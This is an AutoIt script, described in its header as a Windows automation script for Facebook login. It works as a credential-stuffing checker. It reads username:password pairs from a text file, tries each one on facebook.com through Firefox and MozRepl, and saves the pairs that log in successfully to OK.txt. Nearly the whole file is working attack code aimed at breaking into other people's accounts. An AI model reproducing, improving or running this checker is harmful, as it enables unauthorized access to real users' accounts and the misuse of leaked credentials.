#cs
	Maya Akiho
	
	Starship Operators Windows Automation Script to auto login facebook.
	
	This script needs to feed a text file containing line in
	<username>:<password> format.
	
	Valid username will be written to file named OK.txt
	
	History:
	
	2.0.0.0: 2015-03-09
	+ Change browser to Firefox. Firefox need to install MozRepl
	<http://wiki.github.com/bard/mozrepl>. Don't forget to set MozRepl
	autostart setting.
	
	1.0.0.0: 2013-08-23
	+ Initial release
	
	0.0.0.0: 2013-08-19
	+ Project started
#ce

#include <File.au3>
#include <Array.au3>
#include <vendors\FF.au3>
#include <vendors\FF_AutoLogin.au3>

main()

Func main()
	#cs
		Main program.
	#ce

	Dim $data

	$filename = FileOpenDialog('Open File', '', 'Text (*.txt)')
	If @error Then Return

	_FileReadToArray($filename, $data)

	If IsArray($data) Then
		; $data[0] is the number of element, not first element.
		For $i = 1 To $data[0]
			$user = $data[$i]
			$users = StringSplit($user, ':')
			If $users[0] = 2 Then
				$username = $users[1]
				$password = $users[2]
				If StringLen($password) >= 6 Then
					ConsoleWrite('Checking ' & $username & ' ...' & @LF)
					
					$result = login($username, $password)
					
					If $result = 'Cannot connect to Firefox' Then
						ConsoleWrite('Could not connect to Firefox.' & @LF)
						ConsoleWrite('Firefox need to install MozRepl:' & @LF)
						ConsoleWrite('http://wiki.github.com/bard/mozrepl' & @LF)
						ConsoleWrite("Don't forget to autostart MozRepl too." & @LF)
						ExitLoop
					EndIf
					
					If $result = 'Cannot load login page' Then
						ConsoleWrite('Something broke >_<' & @LF)
						ConsoleWrite('Please contact Andy Yulius ')
						ConsoleWrite('<andy.julot@gmail.com>' & @LF)
						ExitLoop
					EndIf
					
					update($filename, $data, $i + 1)
					
					If $result = 'OK' Then
						ok($username, $password)
						ExitLoop
					EndIf
				EndIf
			EndIf
		Next
	EndIf
EndFunc   ;==>main

Func login($username, $password)
	_FFstart()
	
	If Not _FFConnect(Default, Default, 3000) Then 
		Return 'Cannot connect to Firefox'
	EndIf
	
	$result = _login($username, $password)
	
	If $result <> 'OK' Then
		_FFQuit()
		Sleep(5000)
	Else
		_FFDisConnect()
	EndIf
	
	Return $result
EndFunc

Func _login($username, $password)
	do
		_FF_AutoLogin($username, $password, 'www.facebook.com', '', 'keypress')
		If _FFLoadWait(60000) = 0 Then Return 'Cannot load login page'
	Until _FFSearch('</html>')
		
	If _FFSearch('logout') Then Return 'OK'
	
	If _FFSearch('log out') Then Return 'OK'
	
	If _FFSearch('keluar') Then Return 'OK'
	
	Return 'Invalid'
EndFunc

Func update($path, $data, $offset)
	#cs
		Write data to path starts from offset.
		
		Args:
		$path: A string of valid path.
		$data: An array of data to write to file.
		$offset: An integer indicating the start of data to write.
	#ce

	$file = FileOpen($path, 2)
	For $i = $offset To $data[0]
		FileWriteLine($file, $data[$i])
	Next
	FileClose($file)
EndFunc   ;==>update

Func ok($username, $password)
	#cs
		Creates a file named "<username> <password>.txt"
		
		Args:
		$username: A string of username
		#password: A string of password
	#ce
	
	$file = FileOpen(@ScriptDir & '\OK.txt', 2)
	FileWriteLine($file, $username & ':' & $password)
	FileClose($file)
EndFunc   ;==>ok
